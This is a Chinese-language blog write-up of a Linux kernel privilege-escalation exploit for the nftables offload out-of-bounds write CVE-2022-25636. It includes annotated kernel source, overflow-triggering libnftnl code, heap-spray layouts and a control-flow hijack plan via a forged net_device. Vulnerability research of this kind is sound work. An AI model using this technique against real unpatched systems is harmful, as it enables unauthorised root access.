【kernel exploit】CVE-2022-25636 nftables OOB写堆指针漏洞利用

2022/12/13 Kernel-exploit 共 18316 字,约 53 分钟

【kernel exploit】CVE-2022-25636 nftables OOB 写堆指针漏洞利用

影响版本:Linux 5.4-rc1~5.17-rc5。5.17-rc6 已修补。

测试版本:Linux-5.13.19 (原作者在Ubuntu 21.10 内核版本 5.13.0-30 中测试,成功率40%,由于用到 msg_msg 对象,所以只能用 5.14 以前的内核版本进行测试) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项

CONFIG_NF_TABLES=y(对应 nf_tables_offload.c)/ CONFIG_NFT_DUP_NETDEV=ydup expression 漏洞利用)/ CONFIG_NF_DUP_NETDEV=y(漏洞模块)

CONFIG_SECURITY=y (这样 free_msg() -> security_msg_msg_free() 才会释放 msg_msg->security 指针)

CONFIG_BINFMT_MISC=y (否则启动VM时报错)

CONFIG_USER_NS=y

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.19.tar.xz
$ tar -xvf linux-5.13.19.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述nf_table 模块的 net/netfilter/nf_dup_netdev.c中的 nft_fwd_dup_netdev_offload() 函数由于计算分配空间与实际初始化时判断条件不一致,存在OOB write(系统必须支持包处理卸载-Network Interface Cards (NICs),但是现实中很少见),溢出写入一个 net_device 对象的地址(位于kmalloc-4k),且漏洞对象的大小可以变化(由传入的含 NFT_OFFLOAD_F_ACTION 标记的rule个数决定,可以位于 kmalloc-128kmalloc-192 等等),需要 SYS_ADMIN 权限。利用时通过 msg_msgseg 泄露 net_device kmalloc-4k 堆指针,通过覆写 msg_msg->security 指针构造任意释放,通过自带功能 ioctl(fd, SIOCGIFHWADDR, leak) 读取 net_device->dev_addr 来泄露内核基址,通过伪造 net_device->ethtool_ops->begin 函数指针劫持控制流提权

补丁patch commit-5.4-rc1引入。

保护机制:KASLR/SMEP/SMAP/KPTI

利用总结:需两次触发漏洞,第一次是为了泄露堆地址,第2次是为了泄露内核基址并伪造 net_device 劫持控制流。提权成功率在40%左右,主要原因在于堆喷占据 net_device 对象的成功率较低。

  • (1)初始化:设置namspace、绑定到CPU0、保存现场、设置FUSE(结合setxattr() 进行堆喷,设置两种挂起方式,访问/tmp/foo/1 时根据pipe的通知来结束挂起,以释放 setxattr() 内存,访问 /tmp/foo/1 时则永久挂起永不释放);
  • (2)泄露 net_device 对象堆地址(kmalloc-4k):注意需泄露父进程和子进程2个 net_device 地址,因为父进程的 net_device 会被覆写(用于构造任意读+劫持控制流),只能利用子进程的 net_device 上的数据来泄露内核基址。(注意,泄露子进程 net_device 时需调用 clone() 创建子进程,在子进程中泄露)
    • (2-1)先喷射500个位于 kmalloc-128msg_msgsegkmalloc-4k + kmalloc-128 - msg_msg + msg_msgseg);
    • (2-2)释放第400个 msg_msgseg
    • (2-3)分配漏洞对象并触发OOB write:构造1条rule分配大小为 0x20+0x50 字节,漏洞对象位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(正好写入 msg_msgseg);
    • (2-4)泄露堆地址:读取 msg_msg,判断是否读取到 0xffff000000000000 类的地址。
  • (3)泄露内核基址
    • (3-1)准备好 setxattr() 堆喷数据,伪造主进程的 dev->name = "lo" / dev->dev_addr = child_net_device_addr + 0xc8(指向子线程的 net_device->netdev_ops 处,这样就能通过 ioctl(fd, SIOCGIFHWADDR, leak) 读取 net_device->dev_addr 来泄露内核基址) / dev->addr_len = 0x08 / dev->ifindex = 0x42424242 (可以通过 (if_nametoindex("lo") == 0x42424242) 来判断是否堆喷成功);
    • (3-2)构造任意释放,释放父进程的 net_device(尝试20次):
      • 先堆喷500个位于 kmalloc-192msg_msgmsg_msg->type = 0x4141414141414141);
      • 释放第400个 msg_msg
      • 分配漏洞对象并触发 OOB write:构造2条rule分配大小为 0x20+0x50+0x50 字节,位于 kmalloc-192 (0xc0),则 dev 指针会写到相邻堆块的 0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28) 处,恰好第6次溢出写会篡改相邻第3个 msg_msgmsg_msg->security 指针;
      • 释放 msg_msg 来释放 net_device(前一处溢出会篡改 msg_msg->m_type 低4字节为5,可通过判断所读数据的 m_type == 0x4141414100000005 ? 来判断是否释放的是被篡改的 msg_msg,也即判断 net_device 是否释放成功 )。
    • (3-3)堆喷伪造 net_device :注意要在子线程中调用 setxattr() 堆喷 1000 次,因为会阻塞,通过 (if_nametoindex("lo") == 0x42424242) 来判断是否堆喷成功;
    • (3-4)泄露内核基址:通过 ioctl(fd, SIOCGIFHWADDR, leak) 读取 dev->dev_addr
  • (4)劫持控制流
    • (4-1)释放 net_device:通过pipe通知 FUSE 结束阻塞,释放 setxattr() 堆喷的内存块;
    • (4-2)准备好 setxattr() 堆喷数据,布置好 ROP chain,伪造主进程的 dev->ifindex = 0x43434343 / dev->ethtool_ops / ethtool_ops->begin() (用于劫持控制流的函数指针);
    • (4-3)堆喷伪造 net_device :堆喷1000个 setxattr()通过 (if_nametoindex("lo") == 0x43434343) 来判断是否堆喷成功
    • (4-4)劫持控制流:通过调用 ioctl(fd, SIOCETHTOOL, &ifr) 来触发执行 net_device->ethtool_ops.begin()

1. 漏洞分析

1-1 漏洞发现

缘由:作者也是受了 CVE-2021-22555 的启发,决定审计一下 Netfilter 的源码。首先从协议解析部分看起,主要是从用户层获取configuration input 并进行解析的代码部分(通过 netlink socket 来获取用户输入)开始看,用户可以传入配置信息来激活netfilter中的某些decoder代码。由于syzkaller对这些代码的覆盖有限,所以很有可能发现漏洞。

可疑点:作者在 nft_fwd_dup_netdev_offload() 中看到可疑的一行,一是 ctx->num_actions 用作下标但没有边界检查;二是 ctx->num_actions 下标和访问的主体 flow->rule->action.entries 是来自不同结构的变量,二者没有联系,因为 a->b[x->y]a->b[a->c] 要更可疑。

entry = &flow->rule->action.entries[ctx->num_actions++];

1-2 漏洞分析

漏洞总结:先计算 flag=NFT_OFFLOAD_F_ACTION 的 expression 数量并分配相应大小的空间,但之后进行初始化时却对每个 expression 都调用 nft_fwd_dup_netdev_offload() 进行初始化,导致堆溢出。注意,有的 rule 例如 dupfwd rule 不包含此 flag,只有 nft_immediate expression 才含有此flag,必须强制每条 dupfwd rule 都包含一条 nft_immediate expression才能避免漏洞。

漏洞调用链nft_flow_rule_create() -> nft_dup_netdev_offload() / nft_fwd_netdev_offload() (dup / fwd expression) -> nft_fwd_dup_netdev_offload() (溢出点)

struct nft_flow_rule *nft_flow_rule_create(struct net *net, const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;	// [1] 计算 flag == NFT_OFFLOAD_F_ACTION 的 expression 数量 (num_actions), dup 和 fwd expression 都不含此flag

		expr = nft_expr_next(expr);
	}
	...
	flow = nft_flow_rule_alloc(num_actions);		// [2] 分配包含 num_actions 个expression 的 rule
	...
	expr = nft_expr_first(rule);

	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);	// [3] 分配 context ctx, ctx->num_actions 初始化为0
	...
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);	// [4] 实际上对每个expression都调用offload漏洞函数(参数是ctx), 只有保证每个 dup/fwd 都包含一个 immediate 才不会溢出
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	...
}

int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];// [5] 漏洞点: OOB, 没有堆边界检查, 导致 ctx->num_actions 超过 flow->rule->action.entries 数组范围, 越界写1个整数 (4或5) 和1个指针
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

漏洞

  • [1][2]nft_flow_rule_create() 计算带有 NFT_OFFLOAD_F_ACTION flag 标记的 expression数量(使用num_actions 变量来计数),并根据该数量来申请相应大小的结构体;
  • [4]:调用 offload 进行初始化时没有用 num_actions 限制循环次数,而是遍历所有 expression,也没有判断是否含有 NFT_OFFLOAD_F_ACTION flag 标记,导致调用offload次数大于之前申请的flow->rule->action.entries 数量;
  • [5]:每次调用ctx->num_actions 会加一,且ctx->num_actions[3]处初始化为0,最后ctx->num_actions 会大于flow->rule->action.entries数组范围,造成越界。

结构关系nft_flow_rule -> flow_rule -> flow_action -> flow_action_entry

struct nft_flow_rule {	// kmalloc-32
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;			// <---- 
};

struct flow_rule {		
	struct flow_match	match;
	struct flow_action	action;			// <----
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[]; // <---- 在最上层 flow_rule 对象中的偏移为 0x20
};

struct flow_action_entry { 	// 大小 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

漏洞触发:由于不知道如何与 nftables 交互,作者参考了 One mailing list post —— nftables table/chain 定义及安装示例,如何设置 offload flag 才能到达漏洞点(关键是这个 check 语句)。可以参考 https://www.openwall.com/lists/oss-security/2022/02/21/2,通过C语言的libmnl和libnftnl 库来使用 netfilter更方便,只要添加的rule不包含NFT_OFFLOAD_F_ACTION flag标记,就能触发OOB。只有nftnl_expr_alloc("immediate");添加的rule才有NFT_OFFLOAD_F_ACTION 标记:

for(int i = 0; i < legit_writes; i++) {// 如下添加 expr 不会越界: 每条rule都包含一条 `nft_immediate` expression
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
// 如下添加 expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

1-3. 漏洞测试

漏洞触发测试

table netdev filter_test {
  chain ingress {
    type filter hook ingress device eth0 priority 0; flags offload;
    ip daddr 192.168.0.10 tcp dport 22 drop
  }
}

有了这个例子,就可以测试是否能触发漏洞了。首先,对 flow_rule_alloc()nft_flow_rule_alloc() -> flow_rule_alloc() 负责创建 action.entries 数组)设置一个 kprobe,来获取其参数 num_actions 的值 —— sudo kprobe-perf -F 'p:flow_rule_alloc num_actions=%di:u32',但是失败了,因为Ubuntu上是延迟加载 nftables,可以先执行 nft -a mailing_list.nft 来强制内核加载 nftables,这样才能在该函数上设置kprobe。

实际运行 nft -a mailing_list.nft 后居然触发了 kprobe,由于是在VM上测试,这说明没有网络设备和hardware offload 支持,也能触发!

$ sudo nft -f mailing_list.nft
a.nf:1:1-2: Error: Could not process rule: Operation not supported
table netdev x {
^^
$ sudo kprobe-perf 'p:flow_rule_alloc num_actions=%di:u32'
Tracing kprobe flow_rule_alloc. Ctrl-C to end.
             nft-20137   [001] .... 1573655.306178: flow_rule_alloc: (flow_rule_alloc+0x0/0x60) num_actions=1

在修改了 example 之后(加入 dup expression,将rule改为ip daddr 192.168.0.10 dup to eth0),系统还是没有崩溃

可以在创建新的命名空间 (命令 $ unshare -Urn)之后再运行 nft 命令。

打印rule:执行 nft 命令时加上 -d netlink 可以打印出传入内核的 rule。例如以下。

[ meta load protocol => reg 1 ]
[ cmp eq reg 1 0x00000008 ]
[ payload load 4b @ network header + 16 => reg 1 ]
[ cmp eq reg 1 0x0a00a8c0 ]
[ immediate reg 1 0x00000001 ]
[ dup sreg_dev 1 ]

这样一看就知道为什么没有触发漏洞了,因为CLI在dup(表示包需要复制到的目标设备)之前生成了一个 immediate expression,所以能不能生成一个不含 immediate expression 的 dup 呢?只能尝试手动构造包了。

用Go写PoC:尝试用Go来构造PoC,因为Go有很多库支持,其中就有 nftables library 。但是在手动构造rule时,发现不能设置 offload flag,只能在包构造好之后覆写消息数组上的 offload flag。最后成功触发漏洞。但是写exp时还是得用C来写,毕竟 libmnl / libnftl 库很方便

2. 漏洞利用

两处OOB write:越界写一个整数(固定为4或5)和一个指针(*dev 指向 net_device 结构体),主要关注指针写。

entry = &flow->rule->action.entries[ctx->num_actions++];
entry->id = id;		// [1] 写 4 或 5, 取决于是 fwd 还是 dup
entry->dev = dev;   // [2] array 之后的第24字节写 *dev 堆指针

漏洞对象与OOB偏移:作者测试的是5.13内核, flow_rule 结构的头部是0X20字节(不包含 entries 的部分),flow_rule.action.entries 数组中每个entryflow_action_entry 结构)是0X50字节,我们只关注 *dev 指针越界写,*dev 指针会被写到 flow_action_entry 结构的偏移 0x18 处(例如相邻 kmalloc-32 / kmalloc-192 的偏移24处,或者kmalloc-128的偏移8处):

  • 如果rule中没有 immediate ,则rule位于 kmalloc-32;
  • 1条rule分配大小为 0x20+0x50 字节,位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(泄露net_device堆地址时可以覆写位于 kmalloc-128 的 msg_msgseg);
  • 2条rule分配0x20+0x50+0x50字节,位于kmalloc-192 (0xc0),则dev指针会写到0xd8处,也就是越界偏移0x18,越界2次会写在偏移 0x18+0x50 处,以此类推(受到 CVE-2021-26708 的启发,构造任意释放时,可以溢出6次以覆写第相邻的第3个 msg_msgmsg_msg->security 指针,具体的6次 OOB write 偏移为 0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28))。

2-1 泄露 net_device 堆地址

方法:泄露两次 *dev 地址,1个在父进程泄露,1个在子进程泄露。

  • (1)堆喷大小为0x1040的 msg_msg (位于 kmalloc-4k + kmalloc-128);
  • (2)释放一个msg(会释放一个 kmalloc-128);
  • (3)分配大小也为 kmalloc-128 的漏洞对象并触发OOB,在kmalloc-128 的 msg_msgseg 偏移0x8处写入 *dev 堆指针;
  • (4)读取 msg_msg 即可泄露net_device堆地址。

2-2 泄露内核基址

方法

  • (1)堆喷位于 kmalloc-192 的 msg_msg
  • (2)释放1个作为hole;
  • (3)这次构造2个rule触发 kmalloc-192 的漏洞OOB;
  • (4)任意释放:越界在相邻堆块的偏移 0x18+0x50*5 的地方写入 *dev 指针,正好是第3个 kmalloc-192 msg_msg 的偏移0x28 处,也就是 msg_msg->security 指针,这样就能利用释放 msg_msg->security 来释放 net_device 结构体。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
	...
	free_msg(msg); 			
	...
}

void free_msg(struct msg_msg *msg)
{
	...
	security_msg_msg_free(msg);
	...
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);		// <----------
	msg->security = NULL;
}
  • (5)利用 setxattr()+userfaultfd 堆喷伪造 net_device 对象(位于kmalloc-4k)。篡改 net_device->dev_addr 指向子进程的 net_device->netdev_ops 位置,因为netdev_ops 会初始化为loopback_ops,也即内核基址。可根据net_device->name来判断是否堆喷篡改是否成功;
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
  • (6)接下来只要调用 ioctl(fd, SIOCGIFHWADDR, leak) 功能读取物理地址,就可以读取到 net_device->dev_addr 指向的值来泄露内核基址。net_device 中有用的成员和对应偏移如下所示:
struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

地址泄露的调用路径SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_get_mac_address() 读取 net_device->dev_addr mac 地址。

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
	case SIOCGIFHWADDR:			// ioctl(SIOCGIFHWADDR)
		dev_load(net, ifr->ifr_name);
		ret = dev_get_mac_address(&ifr->ifr_hwaddr, net, ifr->ifr_name);	// <---- dev_get_mac_address()
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_get_mac_address(struct sockaddr *sa, struct net *net, char *dev_name)
{
	size_t size = sizeof(sa->sa_data);
	struct net_device *dev;
	int ret = 0;

	down_read(&dev_addr_sem);
	rcu_read_lock();

	dev = dev_get_by_name_rcu(net, dev_name);
	if (!dev) {
		ret = -ENODEV;
		goto unlock;
	}
	if (!dev->addr_len)
		memset(sa->sa_data, 0, size);
	else
		memcpy(sa->sa_data, dev->dev_addr,			// <-------- 获取 `net_device->dev_addr` 位置处的数据, 还要伪造 `net_device->addr_len` 长度值为 0x8
		       min_t(size_t, size, dev->addr_len));
	sa->sa_family = dev->type;

unlock:
	rcu_read_unlock();
	up_read(&dev_addr_sem);
	return ret;
}
EXPORT_SYMBOL(dev_get_mac_address);

2-3 劫持控制流并提权

同样的方法,使用 setxattr()+userfaultfd 堆喷伪造 net_device 对象,篡改net_device->ethtool_ops 劫持控制流,调用使用 ioctl(fd, SIOCETHTOOL, &ifr) 就会触发执行 net_device->ethtool_ops.begin() 劫持控制流,然后ROP即可。作者测试环境为 Ubuntu 21.10 内核版本 13.0-30。

结构关系net_device -> ethtool_ops -> int (*begin)(struct net_device *)

struct net_device {
	char                       name[16];             /*     0  0x10 */		// 修改name用于判断是否成功堆喷篡改 `net_device`
    ...
	const struct net_device_ops  * netdev_ops;       /*  0xc8   0x8 */		// 用于泄露 kernel base
	int                        ifindex;              /*  0xd0   0x4 */		// 
    ...
    const struct ethtool_ops  * ethtool_ops;         /* 0x210   0x8 */		// <-------- 用于劫持 RIP
	...
    unsigned char              addr_len;             /* 0x265   0x1 */		// 泄露内核基址时可读取的地址长度
    ...
    unsigned char *            dev_addr;             /* 0x330   0x8 */ 		// 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
    ...
}

struct ethtool_ops {
    ...
    int	(*begin)(struct net_device *);		// 0xc8 待劫持的目标函数指针, $rdi 指向可控的 net_device, 使用 rdi->rsp 类型的 pivot gadget
    ...
}

调用路径SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_ethtool() 最终调用执行 net_device->ethtool_ops.begin() 函数。

int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
	int ret;
	char *colon;
    ...
    switch (cmd) {
    ...
    case SIOCETHTOOL:
		dev_load(net, ifr->ifr_name);
		rtnl_lock();
		ret = dev_ethtool(net, ifr);	// <-----
		rtnl_unlock();
		if (colon)
			*colon = ':';
		return ret;
    ...
    }
}

int dev_ethtool(struct net *net, struct ifreq *ifr)
{
	struct net_device *dev = __dev_get_by_name(net, ifr->ifr_name);
	void __user *useraddr = ifr->ifr_data;
	u32 ethcmd, sub_cmd;
	int rc;
	netdev_features_t old_features;

	if (!dev || !netif_device_present(dev))
		return -ENODEV;

	if (copy_from_user(&ethcmd, useraddr, sizeof(ethcmd)))
		return -EFAULT;

	if (ethcmd == ETHTOOL_PERQUEUE) {
		if (copy_from_user(&sub_cmd, useraddr + sizeof(ethcmd), sizeof(sub_cmd)))	// ifreq->ifr_data
			return -EFAULT;
	} else {
		sub_cmd = ethcmd;
	}
    ...
    if (dev->ethtool_ops->begin) {
		rc = dev->ethtool_ops->begin(dev);		// 控制流劫持点
		if (rc  < 0)
			return rc;
	}
    old_features = dev->features;

	switch (ethcmd) {
	case ETHTOOL_GSET:
		rc = ethtool_get_settings(dev, useraddr);
		break;
    ...
    }
}

测试截图

succeed

3. 补充

3-1 常用命令

libfuse安装:参考 Ubuntu 18.04 LTS编译安装FUSE

# (1)方法1:直接命令行安装
$ sudo apt-get install -y libfuse-dev
# (2)方法2:源码安装
$ sudo apt-get install ninja-build meson python
# Meson预处理
$ tar zxvf libfuse-fuse-3.8.0.tar.gz
$ mv libfuse-fuse-3.8.0 libfuse
$ cd libfuse
$ mkdir build; cd build
$ meson ..
# 使用Ninja来build,test和 install libfuse
$ ninja
$ sudo python3 -m pytest test/
$ sudo apt-get install python3-pip # 安装pip3
$ pip3 install pytest   # 安装python3 的pytest模块
$ sudo ninja install	# 默认安装目录是 /usr/local/include/fuse3

# 问题: meson 版本太老 		Meson version is 0.37.1 but project requires >= 0.42.
$ sudo apt-get install python3-pip
$ pip3 install --user meson
$ meson -v
$ export PATH=~/.local/bin:$PATH
$ meson -v
# 更新 python 	https://segmentfault.com/a/1190000021967408
$ sudo apt update
$ sudo apt install software-properties-common
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt install python3.8

libmnl / libnftl 安装:参见 CVE-2022-32250

$ sudo apt-get install libcap2-bin bzip2 make pkg-config        # 安装 setcap/bzip2/make/pkg-config
$ tar   -jxvf    xx.tar.bz2
$ ./configure --prefix=/usr && make     # libmnl / libnftl
$ sudo make install

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

3-2 exp 编译问题

现在问题是,在文件系统中安装FUSE很困难(需要更新一系列软件,例如meson/python等),可以采用之前调试CVE-2021-41073时用到的FUSE静态库;而 libmnl / libnftl 库只能用动态版本。所以编译exp时要么全部动态编译,要么部分动态编译部分静态编译,如果在主机上编译也会有问题,gcc版本不兼容,所以传入到QEMU中执行不了。所以只能直接在QEMU上对exp进行部分动态编译+部分静态编译。

解决1-更新gcc:问题是QEMU中gcc版本是6.3.0,太老了,如何更新到gcc 9.0 以上呢?

# (1) 源码更新
$ wget https://ftp.gnu.org/gnu/gcc/gcc-9.1.0/gcc-9.1.0.tar.gz
$ tar -zxvf gcc-9.1.0.tar.gz
$ cd gcc-9.1.0
#检测和安装相关依赖包,这个过程需要耐心等待(此步骤会将依赖包下载到gcc-7.3.0目录,如果因网络原因无法完成请自行使用wget下载)
$ ./contrib/download_prerequisites
$ mkdir build
$ cd build
$ ../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib
#编译过程漫长,请耐心等待
$ make -j4
$ sudo make install

# (2) apt-get 更新gcc —— 失败
$ sudo apt-get install software-properties-common 		# add-apt-repository
$ sudo add-apt-repository ppa:ubuntu-toolchain-r/test
$ sudo apt-get update
$ sudo apt-get install gcc-11

解决2-更新文件系统(自带新版本gcc):gcc更新总是失败,试着创建一个新的文件系统,采用最新的Debian 为基础(Debian 11 - bullseye,Debian 10 - buster,Debian 9 - stretch)。利用syzkaller中用到的 create-image.sh 脚本来构建,将 stretch 改为 bullseye

编译exp:libfuse 参见 CVE-2021-41073

$ sudo apt-get install -y libfuse-dev  # 不安装的话没有 -lfuse 选项
# 编译exp 				注意libmnl不支持静态编译,加 -static 就会报错; 加 -lrt 表示实时库
$ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit

# 记录一下尝试的其他编译命令
# static libfuse $ gcc -no-pie ./exploit.c ./fakefuse.c -I./libfuse libfuse3.a -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/local/include/fuse3 -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c  -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -Wl,-Bdynamic -lmnl -lnftnl -o exploit -masm=intel -lpthread
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -masm=intel -pthread -Wl,-Bdynamic -lmnl -lnftnl -o exploit 

参考

The Discovery and Exploitation of CVE-2022-25636 —— 作者1的writeup

exploit —— 另一位作者的exp

How To Fix CVE-2022-25636- A Heap Out Of Bounds Write Vulnerability In Netfilter

https://www.openwall.com/lists/oss-security/2022/02/21/2

https://www.openwall.com/lists/oss-security/2022/02/22/1

[漏洞分析] CVE-2022-25636 netfilter内核提权

其他:

linux双机调试环境配置 —— 安装官方发布的调试符号信息

ubuntu 内核双机调试方法

双机调试Linux内核 —— 自己编译内核并安装调试符号,双机调试

GCC同时使用静态库和动态库链接 2 —— 部分动态编译部分静态编译exp

文档信息

Search

    Table of Contents